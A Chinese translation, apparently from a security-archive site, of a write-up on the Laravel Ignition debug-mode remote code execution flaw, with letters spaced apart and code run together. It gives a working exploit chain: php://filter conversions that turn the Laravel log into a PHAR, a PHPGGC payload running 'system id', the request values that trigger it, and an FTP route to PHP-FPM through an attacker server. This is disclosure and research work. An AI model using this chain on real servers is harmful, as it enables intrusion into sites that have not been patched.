搜索

[20471] 2021-01-14_Laravel=v8.4.2调试模式造成远程代码执行漏洞

文档创建者：s7ckTeam
浏览次数：51
最后更新：2025-01-18
2021-01-14_Laravel=v8.4.2调试模式造成远程代码执行漏洞 L a r a v e l   < =   v 8 . 4 . 2 调 试 模 式 造 成 远 程 代 码 执 行 漏 洞 K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 1 - 1 4                         2 0 2 0 年 1 1 月 底 ,   在 为 我 们 的 一 个 客 户 进 行 安 全 审 计 时 ,   我 们 发 现 了 一 个 基 于 L a r a v e l 的 网 站 .   虽 然 这 个 网 站 的 安 全 状 态 很 好 ,   但 我 们 注 意 到 它 是 在 调 试 模 式 下 运 行 的 ,   因 此 显 示 了 大 量 的 错 误 信 息 ,   包 括 堆 栈 痕 迹 : 经 过 进 一 步 的 检 查 ,   我 们 发 现 这 些 堆 栈 痕 迹 是 由 I g n i t i o n 生 成 的 ,   而 I g n i t i o n 是 L a r a v e l 第 6 版 开 始 的 默 认 错 误 页 面 生 成 器 .   在 穷 尽 了 其 他 漏 洞 载 体 之 后 ,   我 们 开 始 对 这 个 包 进 行 更 精 确 的 检 查 . I g n i t i o n   < =   2 . 5 . 1                         除 了 显 示 漂 亮 的 堆 栈 痕 迹 ,   I g n i t i o n 还 附 带 了 解 决 方 案 ,   小 段 的 代 码 可 以 解 决 你 在 开 发 应 用 时 可 能 遇 到 的 问 题 .   例 如 ， 如 果 我 们 在 模 板 中 使 用 一 个 未 知 变 量 ， 会 发 生 这 样 的 情 况 ： 通 过 点 击   " 使 变 量 可 选 " ， 我 们 模 板 中 的 { {   $ u s e r n a m e   } } 会 自 动 被 { {   $ u s e r n a m e   ?   ' '   } } .   如 果 我 们 检 查 我 们 的 H T T P 日 志 ， 我 们 可 以 看 到 被 调 用 的 端 点 ：
除 了 解 决 方 案 的 类 名 之 外 ， 我 们 还 发 送 了 一 个 文 件 路 径 和 一 个 我 们 想 要 替 换 的 变 量 名 。 这 看 起 来 很 有 趣 。 让 我 们 先 检 查 一 下 类 名 向 量 ： 我 们 可 以 实 例 化 任 何 东 西 吗 ？ 不 是 ： I g n i t i o n 会 确 保 我 们 指 向 的 类 实 现 了 R u n n a b l e S o l u t i o n 。 那 我 们 就 来 仔 细 看 看 这 个 类 吧 。 负 责 这 个 的 代 码 位 于 . / v e n d o r / f a c a d e / i g n i t i o n / s r c / S o l u t i o n s / M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n . p h p 中 。 也 许 我 们 可 以 改 变 一 个 任 意 文 件 的 内 容 ？ 这 段 代 码 比 我 们 预 想 的 要 复 杂 一 些 ： 读 取 给 定 的 文 件 路 径 [ 1 ] 后 ， 将 $ v a r i a b l e N a m e 替 换 为 $ v a r i a b l e N a m e   ?   ' ' ， 初 始 文 件 和 新 文 件 都 将 被 标 记 化 [ 2 ] 。 如 果 我 们 的 代 码 结 构 没 有 超 出 预 期 的 变 化 ， 文 件 将 被 替 换 成 新 的 内 容 。 否 则 ， m a k e O p t i o n a l 将 返 回 f a l s e [ 3 ] ， 新 文 件 将 不 会 被 写 入 。 因 此 ， 我 们 无 法 使 用 v a r i a b l e N a m e 做 太 多 事 情 。 唯 一 剩 下 的 输 入 变 量 是 v i e w F i l e 。 如 果 我 们 对 v a r i a b l e N a m e 和 它 的 所 有 用 途 进 行 抽 象 ， 我 们 最 终 会 得 到 下 面 的 代 码 片 段 ： c l a s s   S o l u t i o n P r o v i d e r R e p o s i t o r y   i m p l e m e n t s   S o l u t i o n P r o v i d e r R e p o s i t o r y C o n t r a c t {         . . .         p u b l i c   f u n c t i o n   g e t S o l u t i o n F o r C l a s s ( s t r i n g   $ s o l u t i o n C l a s s ) :   ? S o l u t i o n {                 i f   ( !   c l a s s _ e x i s t s ( $ s o l u t i o n C l a s s ) )   {                         r e t u r n   n u l l ;                 }                 i f   ( !   i n _ a r r a y ( S o l u t i o n : : c l a s s ,   c l a s s _ i m p l e m e n t s ( $ s o l u t i o n C l a s s ) ) )   {                         r e t u r n   n u l l ;                 }                 r e t u r n   a p p ( $ s o l u t i o n C l a s s ) ;         } } c l a s s   M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n   i m p l e m e n t s   R u n n a b l e S o l u t i o n {         . . .         p u b l i c   f u n c t i o n   r u n ( a r r a y   $ p a r a m e t e r s   =   [ ] ) {                 $ o u t p u t   =   $ t h i s - > m a k e O p t i o n a l ( $ p a r a m e t e r s ) ;                 i f   ( $ o u t p u t   ! = =   f a l s e )   {                         f i l e _ p u t _ c o n t e n t s ( $ p a r a m e t e r s [ ' v i e w F i l e ' ] ,   $ o u t p u t ) ;                 }         }         p u b l i c   f u n c t i o n   m a k e O p t i o n a l ( a r r a y   $ p a r a m e t e r s   =   [ ] ) {                 $ o r i g i n a l C o n t e n t s   =   f i l e _ g e t _ c o n t e n t s ( $ p a r a m e t e r s [ ' v i e w F i l e ' ] ) ;   / /   [ 1 ]                 $ n e w C o n t e n t s   =   s t r _ r e p l a c e ( ' $ ' . $ p a r a m e t e r s [ ' v a r i a b l e N a m e ' ] ,   ' $ ' . $ p a r a m e t e r s [ ' v a r i a b l e N a m e ' ] . "   ? ?   ' ' " ,   $ o r i g i n a l C o n t e n t s ) ;                 $ o r i g i n a l T o k e n s   =   t o k e n _ g e t _ a l l ( B l a d e : : c o m p i l e S t r i n g ( $ o r i g i n a l C o n t e n t s ) ) ;   / /   [ 2 ]                 $ n e w T o k e n s   =   t o k e n _ g e t _ a l l ( B l a d e : : c o m p i l e S t r i n g ( $ n e w C o n t e n t s ) ) ;                 $ e x p e c t e d T o k e n s   =   $ t h i s - > g e n e r a t e E x p e c t e d T o k e n s ( $ o r i g i n a l T o k e n s ,   $ p a r a m e t e r s [ ' v a r i a b l e N a m e ' ] ) ;                 i f   ( $ e x p e c t e d T o k e n s   ! = =   $ n e w T o k e n s )   {   / /   [ 3 ]                         r e t u r n   f a l s e ;                 }                 r e t u r n   $ n e w C o n t e n t s ;         }         p r o t e c t e d   f u n c t i o n   g e n e r a t e E x p e c t e d T o k e n s ( a r r a y   $ o r i g i n a l T o k e n s ,   s t r i n g   $ v a r i a b l e N a m e ) :   a r r a y {                 $ e x p e c t e d T o k e n s   =   [ ] ;                 f o r e a c h   ( $ o r i g i n a l T o k e n s   a s   $ t o k e n )   {                         $ e x p e c t e d T o k e n s [ ]   =   $ t o k e n ;                         i f   ( $ t o k e n [ 0 ]   = = =   T _ V A R I A B L E   & &   $ t o k e n [ 1 ]   = = =   ' $ ' . $ v a r i a b l e N a m e )   {                                 $ e x p e c t e d T o k e n s [ ]   =   [ T _ W H I T E S P A C E ,   '   ' ,   $ t o k e n [ 2 ] ] ;                                 $ e x p e c t e d T o k e n s [ ]   =   [ T _ C O A L E S C E ,   ' ? ? ' ,   $ t o k e n [ 2 ] ] ;                                 $ e x p e c t e d T o k e n s [ ]   =   [ T _ W H I T E S P A C E ,   '   ' ,   $ t o k e n [ 2 ] ] ;                                 $ e x p e c t e d T o k e n s [ ]   =   [ T _ C O N S T A N T _ E N C A P S E D _ S T R I N G ,   " ' ' " ,   $ t o k e n [ 2 ] ] ;                         }                 }                 r e t u r n   $ e x p e c t e d T o k e n s ;         }         . . . }
所 以 我 们 要 把 v i e w F i l e 的 内 容 写 回 v i e w F i l e 中 ， 不 做 任 何 修 改 。 这 什 么 都 没 有 做 ! 我 们 拿 出 了 两 种 解 决 方 案 ， 如 果 你 想 在 阅 读 博 文 的 其 余 部 分 之 前 自 己 尝 试 一 下 ， 下 面 是 你 如 何 设 置 实 验 室 ： 日 志 文 件 到 日 志 文 件 到 P H A R P H P 包 装 器 ： 更 改 文 件 包 装 器 ： 更 改 文 件                         现 在 ， 大 家 可 能 都 听 说 过 蔡 橙 子 演 示 的 上 传 进 度 技 术 。 它 利 用 p h p : / / f i l t e r 来 改 变 文 件 的 内 容 ， 然 后 再 返 回 。 我 们 可 以 利 用 这 一 点 ， 用 我 们 的 e x p l o i t a t i o n   p r i m i t i v e 来 改 造 文 件 的 内 容 ：                         我 们 已 经 改 变 了 文 件 的 内 容   !   遗 憾 的 是 ， 这 将 会 应 用 两 次 转 换 。 阅 读 文 档 后 ， 我 们 发 现 有 一 种 方 法 可 以 只 应 用 一 次 ： B a d c h a r s 甚 至 会 被 忽 略 编 写 日 志 文 件 编 写 日 志 文 件                                         默 认 情 况 下 ， L a r a v e l 的 日 志 文 件 包 含 每 一 个 P H P 错 误 和 堆 栈 跟 踪 ， 存 储 在 存 储 / l o g / l a r a v e l . l o g 中 。 让 我 们 通 过 尝 试 加 载 一 个 不 存 在 的 文 件 来 产 生 错 误 ,   S O M E _ T E X T _ O F _ O U R _ C H O I C E : 太 棒 了 ， 我 们 可 以 在 文 件 中 注 入 （ 几 乎 ） 任 意 的 内 容 。 理 论 上 ， 我 们 可 以 使 用 O r a n g e 的 技 术 将 日 志 文 件 转 换 为 有 效 的 P H A R 文 件 ， 然 后 使 用 p h a r : / / 包 装 器 来 运 行 序 列 化 的 代 码 。 遗 憾 的 是 ， 这 行 不 通 ， 原 因 有 很 多 。 $ c o n t e n t s   =   f i l e _ g e t _ c o n t e n t s ( $ p a r a m e t e r s [ ' v i e w F i l e ' ] ) ; f i l e _ p u t _ c o n t e n t s ( $ p a r a m e t e r s [ ' v i e w F i l e ' ] ,   $ c o n t e n t s ) $   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / l a r a v e l / l a r a v e l . g i t $   c d   l a r a v e l $   g i t   c h e c k o u t   e 8 4 9 8 1 2 $   c o m p o s e r   i n s t a l l $   c o m p o s e r   r e q u i r e   f a c a d e / i g n i t i o n = = 2 . 5 . 1 $   p h p   a r t i s a n   s e r v e $   e c h o   t e s t   |   b a s e 6 4   |   b a s e 6 4   >   / p a t h / t o / f i l e . t x t $   c a t   / p a t h / t o / f i l e . t x t Z E d W e m R B b z 0 K $ f   =   ' p h p : / / f i l t e r / c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / f i l e . t x t ' ; #   R e a d s   / p a t h / t o / f i l e . t x t ,   b a s e 6 4 - d e c o d e s   i t ,   r e t u r n s   t h e   r e s u l t $ c o n t e n t s   =   f i l e _ g e t _ c o n t e n t s ( $ f ) ;   #   B a s e 6 4 - d e c o d e s   $ c o n t e n t s ,   t h e n   w r i t e s   t h e   r e s u l t   t o   / p a t h / t o / f i l e . t x t f i l e _ p u t _ c o n t e n t s ( $ f ,   $ c o n t e n t s ) ; $   c a t   / p a t h / t o / f i l e . t x t t e s t #   T o   b a s e 6 4 - d e c o d e   o n c e ,   u s e : $ f   =   ' p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / f i l e . t x t ' ; #   O R $ f   =   ' p h p : / / f i l t e r / w r i t e = c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / f i l e . t x t ' ; $   e c h o   ' : ; . ! ! ! ! ! Z E d W e m R B b z 0 K : ; . ! ! ! ! ! '   >   / p a t h / t o / f i l e . t x t $ f   =   ' p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - d e c o d e | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / f i l e . t x t ' ; $ c o n t e n t s   =   f i l e _ g e t _ c o n t e n t s ( $ f ) ;   f i l e _ p u t _ c o n t e n t s ( $ f ,   $ c o n t e n t s ) ; $   c a t   / p a t h / t o / f i l e . t x t t e s t [ 2 0 2 1 - 0 1 - 1 1   1 2 : 3 9 : 4 4 ]   l o c a l . E R R O R :   f i l e _ g e t _ c o n t e n t s ( S O M E _ T E X T _ O F _ O U R _ C H O I C E ) :   f a i l e d   t o   o p e n   s t r e a m :   N o   s u c h   f i l e   o r   d i r e c t o r y   { " e x c e p t i o n " : " [ o b j e c t ]   ( E r r o r E x c e p t i o n ( c o d e :   0 ) :   f i l e _ g e t _ c o n t e n t s ( S O M E _ T E X T _ O F _ O U R _ C H O I C E ) :   f a i l e d   t o   o p e n   s t r e a m :   N o   s u c h   f i l e   o r   d i r e c t o r y   a t   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / f a c a d e / i g n i t i o n / s r c / S o l u t i o n s / M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n . p h p : 7 5 ) [ s t a c k t r a c e ] # 0   [ i n t e r n a l   f u n c t i o n ] :   I l l u m i n a t e F o u n d a t i o n B o o t s t r a p H a n d l e E x c e p t i o n s - > h a n d l e E r r o r ( ) # 1   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / f a c a d e / i g n i t i o n / s r c / S o l u t i o n s / M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n . p h p ( 7 5 ) :   f i l e _ g e t _ c o n t e n t s ( ) # 2   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / f a c a d e / i g n i t i o n / s r c / S o l u t i o n s / M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n . p h p ( 6 7 ) :   F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n - > m a k e O p t i o n a l ( ) # 3   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / f a c a d e / i g n i t i o n / s r c / H t t p / C o n t r o l l e r s / E x e c u t e S o l u t i o n C o n t r o l l e r . p h p ( 1 9 ) :   F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n - > r u n ( ) # 4   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / l a r a v e l / f r a m e w o r k / s r c / I l l u m i n a t e / R o u t i n g / C o n t r o l l e r D i s p a t c h e r . p h p ( 4 8 ) :   F a c a d e I g n i t i o n H t t p C o n t r o l l e r s E x e c u t e S o l u t i o n C o n t r o l l e r - > _ _ i n v o k e ( ) [ . . . ] # 3 2   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / l a r a v e l / f r a m e w o r k / s r c / I l l u m i n a t e / P i p e l i n e / P i p e l i n e . p h p ( 1 0 3 ) :   I l l u m i n a t e P i p e l i n e P i p e l i n e - > I l l u m i n a t e P i p e l i n e { c l o s u r e } ( ) # 3 3   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / l a r a v e l / f r a m e w o r k / s r c / I l l u m i n a t e / F o u n d a t i o n / H t t p / K e r n e l . p h p ( 1 4 1 ) :   I l l u m i n a t e P i p e l i n e P i p e l i n e - > t h e n ( ) # 3 4   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / v e n d o r / l a r a v e l / f r a m e w o r k / s r c / I l l u m i n a t e / F o u n d a t i o n / H t t p / K e r n e l . p h p ( 1 1 0 ) :   I l l u m i n a t e F o u n d a t i o n H t t p K e r n e l - > s e n d R e q u e s t T h r o u g h R o u t e r ( ) # 3 5   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / p u b l i c / i n d e x . p h p ( 5 2 ) :   I l l u m i n a t e F o u n d a t i o n H t t p K e r n e l - > h a n d l e ( ) # 3 6   / w o r k / p e n t e s t / l a r a v e l / l a r a v e l / s e r v e r . p h p ( 2 1 ) :   r e q u i r e _ o n c e ( ' / w o r k / p e n t e s t / l . . . ' ) # 3 7   { m a i n } " }
b a s e 6 4 - d e c o d e 链 显 示 了 它 的 局 限 性 我 们 在 前 面 说 过 ， 当 b a s e 6 4 - d e c o d i n g 一 个 字 符 串 时 ， P H P 会 忽 略 任 何 坏 字 符 。 这 是 正 确 的 ， 除 了 一 个 字 符 ： = 。 如 果 你 使 用 b a s e 6 4 - d e c o d e 过 滤 一 个 中 间 包 含 一 个 = 的 字 符 串 ， P H P 将 产 生 一 个 错 误 并 不 返 回 任 何 内 容 。 如 果 我 们 控 制 整 个 文 件 ， 这 将 是 很 好 的 。 然 而 ， 我 们 注 入 到 日 志 文 件 中 的 文 本 只 是 其 中 很 小 的 一 部 分 。 有 一 个 相 当 大 的 前 缀 （ 日 期 ） ， 还 有 一 个 巨 大 的 后 缀 （ 堆 栈 跟 踪 ） 。 此 外 ， 我 们 注 入 的 文 本 出 现 了 两 次 ! 这 是 另 一 个 恐 怖 的 地 方 ： 根 据 日 期 的 不 同 ， 两 次 解 码 前 缀 会 产 生 一 个 不 同 大 小 的 结 果 。 当 我 们 第 三 次 解 码 时 ， 在 第 二 种 情 况 下 ， 我 们 的 有 效 载 荷 将 被 前 缀 为 2 ， 从 而 改 变 b a s e 6 4 消 息 的 对 齐 方 式 。 在 我 们 可 以 使 它 工 作 的 情 况 下 ， 我 们 必 须 为 每 个 目 标 建 立 一 个 新 的 有 效 载 荷 ， 因 为 堆 栈 跟 踪 包 含 绝 对 的 文 件 名 ， 而 且 每 秒 钟 都 要 建 立 一 个 新 的 有 效 载 荷 ， 因 为 前 缀 包 含 时 间 。 而 且 如 果 a   = 成 功 地 进 入 了 许 多 b a s e 6 4 - d e c o d e s 中 的 一 个 ， 我 们 仍 然 会 被 阻 止 。 因 此 ， 我 们 回 到   P H P   文 档 中 去 寻 找 其 他 类 型 的 过 滤 器 。 输 入 编 码 让 我 们 回 溯 一 下 。 日 志 文 件 中 有 这 样 的 内 容 ： 我 们 已 经 了 解 到 ， 遗 憾 的 是 ， 垃 圾 邮 件 b a s e 6 4 - d e c o d e 可 能 会 在 某 些 时 候 失 败 。 让 我 们 利 用 这 一 点 ： 如 果 我 们 发 送 垃 圾 邮 件 ， 就 会 发 生 一 个 解 码 错 误 ， 日 志 文 件 就 会 被 清 除 !   我 们 造 成 的 下 一 个 错 误 将 在 日 志 文 件 中 独 立 存 在 ： 现 在 ， 我 们 又 回 到 了 最 初 的 问 题 上 ： 保 留 一 个 有 效 载 荷 并 删 除 其 余 部 分 。 幸 运 的 是 ， p h p : / / f i l t e r 并 不 限 于 b a s e 6 4 操 作 。 例 如 ， 你 可 以 用 它 来 转 换 字 符 集 。 这 里 是 U T F - 1 6 到 U T F - 8 的 转 换 ： e c h o   - n e   ' [ S o m e   p r e f i x   ] P 0 A 0 Y 0 L 0 O 0 A 0 D 0 [ m i d f i x ] P 0 A 0 Y 0 L 0 O 0 A 0 D 0 [ S o m e   s u f f i x   ] '   >   / t m p / t e s t . t x t p h p   >   e c h o   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / f i l t e r / r e a d = c o n v e r t . i c o n v . u t f 1 6 l e . u t f - 8 / r e s o u r c e = / t m p / t e s t . t x t ' ) ; 卛 浯 牰 晥 硩 崠 P A Y L O A D 浛 摩 楦 嵸 P A Y L O A D 卛 浯 畳 晦 硩 崠 这 真 的 很 好 ： 我 们 的 有 效 载 荷 在 那 里 ， 安 全 无 恙 ， 前 缀 和 后 缀 变 成 了 非 A S C I I 字 符 。 然 而 ， 在 日 志 条 目 中 ， 我 们 的 有 效 载 荷 显 示 了 两 次 ， 而 不 是 一 次 。 我 们 需 要 去 掉 第 二 个 。 由 于 U T F - 1 6 是 用 两 个 字 节 工 作 的 ， 所 以 我 们 可 以 通 过 在 p a y l o a d 的 末 尾 增 加 一 个 字 节 来 错 位 第 二 个 实 例 ： 这 样 做 的 好 处 是 ， 前 缀 的 对 齐 方 式 不 再 重 要 ： 如 果 前 缀 大 小 均 匀 ， 第 一 个 有 效 载 荷 将 被 正 确 解 码 。 如 果 不 是 ， 第 二 个 就 会 被 正 确 解 码 。 我 们 现 在 可 以 将 我 们 的 发 现 与 通 常 的 b a s e 6 4 解 码 结 合 起 来 ， 对 任 何 我 们 想 要 的 东 西 进 行 编 码 ： 说 到 对 齐 ， 如 果 日 志 文 件 本 身 不 是 2 字 节 对 齐 的 ， 转 换 过 滤 器 会 如 何 处 理 ？ 又 是 一 个 问 题 。 我 们 可 以 很 容 易 地 通 过 两 个 有 效 载 荷 来 解 决 这 个 问 题 ： 一 个 是 无 害 的 有 效 载 荷 A ， 另 一 个 是 主 动 的 有 效 载 荷 B ： 由 于 前 缀 、 中 缀 和 后 缀 都 存 在 两 次 ， 还 有 p a y l o a d _ a 和 p a y l o a d _ b ， 所 以 日 志 文 件 的 大 小 必 然 是 偶 数 ， 避 免 了 错 误 的 发 生 。 最 后 ， 我 们 还 要 解 决 最 后 一 个 问 题 ： 我 们 使 用 N U L L 字 节 将 p a y l o a d 字 节 从 一 个 垫 到 两 个 。 在 P H P 中 试 图 加 载 一 个 带 有 N U L L 字 节 的 文 件 ， 结 果 会 出 现 以 下 错 误 ： 因 此 ， 我 们 将 无 法 在 错 误 日 志 中 注 入 一 个 带 有 N U L L 字 节 的 有 效 载 荷 。 幸 运 的 是 ， 最 后 一 个 过 滤 器 来 拯 救 我 们 ： c o n v e r t . q u o t e d - p r i n t a b l e - d e c o d e 。 p h p   >   v a r _ d u m p ( b a s e 6 4 _ d e c o d e ( ' [ 2 0 2 2 - 0 4 - 3 0   2 3 : 5 9 : 1 1 ] ' ) ) 。 s t r i n g ( 0 )   " " p h p   >   v a r _ d u m p ( b a s e 6 4 _ d e c o d e ( ' [ 2 0 2 2 - 0 4 - 1 2   2 3 : 5 9 : 1 1 ] ' ) ) 。 s t r i n g ( 1 )   " 2 " [ p r e v i o u s   l o g   e n t r i e s ] [ p r e f i x ] P A Y L O A D [ m i d f i x ] P A Y L O A D [ s u f f i x ] [ p r e f i x ] P A Y L O A D [ m i d f i x ] P A Y L O A D [ s u f f i x ] e c h o   - n e   ' [ S o m e   p r e f i x   ] P 0 A 0 Y 0 L 0 O 0 A 0 D 0 X [ m i d f i x ] P 0 A 0 Y 0 L 0 O 0 A 0 D 0 X [ S o m e   s u f f i x   ] '   >   / t m p / t e s t . t x t p h p   >   e c h o   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / f i l t e r / r e a d = c o n v e r t . i c o n v . u t f 1 6 l e . u t f - 8 / r e s o u r c e = / t m p / t e s t . t x t ' ) ; 卛 浯 牰 晥 硩 崠 P A Y L O A D 存 業 晤 硩 偝 䄀 夀 䰀 伀 䄀 䐀 堀 卛 浯 畳 晦 硩 崠 $   e c h o   - n   T E S T !   |   b a s e 6 4   |   s e d   - E   ' s / . / 0 0 / g ' V 0 E 0 V 0 T 0 V 0 C 0 E 0 = 0 $   e c h o   - n e   ' [ S o m e   p r e f i x   ] V 0 E 0 V 0 T 0 V 0 C 0 E 0 = 0 X [ m i d f i x ] V 0 E 0 V 0 T 0 V 0 C 0 E 0 = 0 X [ S o m e   s u f f i x   ] '   >   / t m p / t e s t . t x t p h p   >   e c h o   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / f i l t e r / r e a d = c o n v e r t . i c o n v . u t f 1 6 l e . u t f - 8 | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / t m p / t e s t . t x t ' ) ; T E S T ! P H P   W a r n i n g :     f i l e _ g e t _ c o n t e n t s ( ) :   i c o n v   s t r e a m   f i l t e r   ( " u t f 1 6 l e " = > " u t f - 8 " ) :   i n v a l i d   m u l t i b y t e   s e q u e n c e   i n   p h p   s h e l l   c o d e   o n   l i n e   1 [ p r e f i x ] P A Y L O A D _ A [ m i d f i x ] P A Y L O A D _ A [ s u f f i x ] [ p r e f i x ] P A Y L O A D _ B [ m i d f i x ] P A Y L O A D _ B [ s u f f i x ] P H P   W a r n i n g :     f i l e _ g e t _ c o n t e n t s ( )   e x p e c t s   p a r a m e t e r   1   t o   b e   a   v a l i d   p a t h ,   s t r i n g   g i v e n   i n   p h p   s h e l l   c o d e   o n   l i n e   1
我 们 可 以 使 用 = 0 0 对 N U L L 字 节 进 行 编 码 。 这 是 我 们 最 后 的 转 换 链 ： 完 整 的 开 发 步 骤 创 建 一 个 P H P G G C 有 效 载 荷 并 对 其 进 行 编 码 ： 清 理 日 志 （ x 1 0 ） 创 建 第 一 个 日 志 条 目 ， 用 于 对 齐 ： 创 建 带 有 有 效 载 荷 的 日 志 条 目 ： 应 用 我 们 的 过 滤 器 将 日 志 文 件 转 换 为 有 效 的 P H A R ： 启 动 P H A R 反 序 列 化 ： R e s u l t : A s   a n   e x p l o i t : 在 确 认 了 本 地 环 境 下 的 攻 击 后 ， 我 们 继 续 在 目 标 上 进 行 测 试 ， 但 没 有 成 功 。 日 志 文 件 有 一 个 不 同 的 名 字 。 在 花 了 几 个 小 时 试 图 猜 测 它 的 名 字 后 ， 我 们 猜 不 出 来 ， 于 是 只 好 实 施 另 一 种 攻 击 。 我 们 也 许 应 该 提 前 检 查 一 下 。 用 F T P 与 P H P - F P M 对 话 由 于 我 们 可 以 运 行   f i l e _ g e t _ c o n t e n t s   来 查 找 任 何 东 西 ， 我 们 可 以 通 过 发 出   H T T P   请 求 来 扫 描 常 用 端 口 。 P H P - F P M 似 乎 在 9 0 0 0 端 口 上 监 听 。 众 所 周 知 ， 如 果 你 能 向 P H P - F P M 服 务 发 送 一 个 任 意 的 二 进 制 数 据 包 ， 你 就 可 以 在 机 器 上 执 行 代 码 。 这 种 技 术 经 常 与 g o p h e r : / / 协 议 结 合 使 用 ， c u r l 支 持 g o p h e r : / / 协 议 ， 但 P H P 不 支 持 。 另 一 个 已 知 的 允 许 你 通 过 T C P 发 送 二 进 制 数 据 包 的 协 议 是 F T P ， 更 准 确 的 说 是 它 的 被 动 模 式 ： 如 果 一 个 客 户 端 试 图 从 F T P 服 务 器 上 读 取 一 个 文 件 （ 或 写 到 ） ， 服 务 器 可 以 告 诉 客 户 端 将 文 件 的 内 容 读 取 （ 或 写 ） 到 一 个 特 定 的 I P 和 端 口 上 。 这 些 I P 和 端 口 可 以 是 什 么 ， 没 有 限 制 。 例 如 ， 服 务 器 可 以 告 诉 客 户 机 连 接 到 自 己 的 一 个 端 口 ， 如 果 它 愿 意 的 话 。 现 在 ， 如 果 我 们 尝 试 使 用 v i e w F i l e = f t p : / / e v i l - s e r v e r . l e x f o . f r / f i l e . t x t 来 利 用 这 个 漏 洞 ， 会 发 生 以 下 情 况 。 f i l e _ g e t _ c o n t e n t s ( )   连 接 到 我 们 的 F T P 服 务 器 ， 并 下 载 f i l e . t x t 。 f i l e _ p u t _ c o n t e n t s ( )   连 接 到 我 们 的   F T P   服 务 器 ， 并 将 其 上 传 到   f i l e . t x t 。 你 可 能 知 道 这 是 怎 么 回 事 ： 我 们 将 使 用 F T P 协 议 的 被 动 模 式 使 f i l e _ g e t _ c o n t e n t s ( ) 在 我 们 的 服 务 器 上 下 载 一 个 文 件 ， 当 它 试 图 使 用 f i l e _ p u t _ c o n t e n t s ( ) 把 它 上 传 回 来 时 ， 我 们 将 告 诉 它 把 文 件 发 送 到 v i e w F i l e :   p h p : / / f i l t e r / w r i t e = c o n v e r t . q u o t e d - p r i n t a b l e - d e c o d e | c o n v e r t . i c o n v . u t f - 1 6 l e . u t f - 8 | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / s t o r a g e / l o g s / l a r a v e l . l o g p h p   - d ' p h a r . r e a d o n l y = 0 '   . / p h p g g c   m o n o l o g / r c e 1   s y s t e m   i d   - - p h a r   p h a r   - o   p h p : / / o u t p u t   |   b a s e 6 4   - w 0   |   s e d   - E   ' s / . / 0 = 0 0 / g ' U = 0 0 E = 0 0 s = 0 0 D = 0 0 B = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 I = 0 0 Q = 0 0 A = 0 0 M = 0 0 f = 0 0 n = 0 0 / = 0 0 Y = 0 0 B = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 Q = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 F = 0 0 A = 0 0 B = 0 0 I = 0 0 A = 0 0 Z = 0 0 H = 0 0 V = 0 0 t = v i e w F i l e :   p h p : / / f i l t e r / w r i t e = c o n v e r t . b a s e 6 4 - d e c o d e | c o n v e r t . b a s e 6 4 - d e c o d e | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / s t o r a g e / l o g s / l a r a v e l . l o g v i e w F i l e :   A A v i e w F i l e :   U = 0 0 E = 0 0 s = 0 0 D = 0 0 B = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 I = 0 0 Q = 0 0 A = 0 0 M = 0 0 f = 0 0 n = 0 0 / = 0 0 Y = 0 0 B = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 Q = 0 0 A = 0 0 A = 0 0 A = 0 0 A = 0 0 F = 0 0 A = 0 0 B = 0 0 I = 0 0 A = 0 0 Z = 0 0 v i e w F i l e :   p h p : / / f i l t e r / w r i t e = c o n v e r t . q u o t e d - p r i n t a b l e - d e c o d e | c o n v e r t . i c o n v . u t f - 1 6 l e . u t f - 8 | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = / p a t h / t o / s t o r a g e / l o g s / l a r a v e l . l o g v i e w F i l e :   p h a r : / / / p a t h / t o / s t o r a g e / l o g s / l a r a v e l . l o g
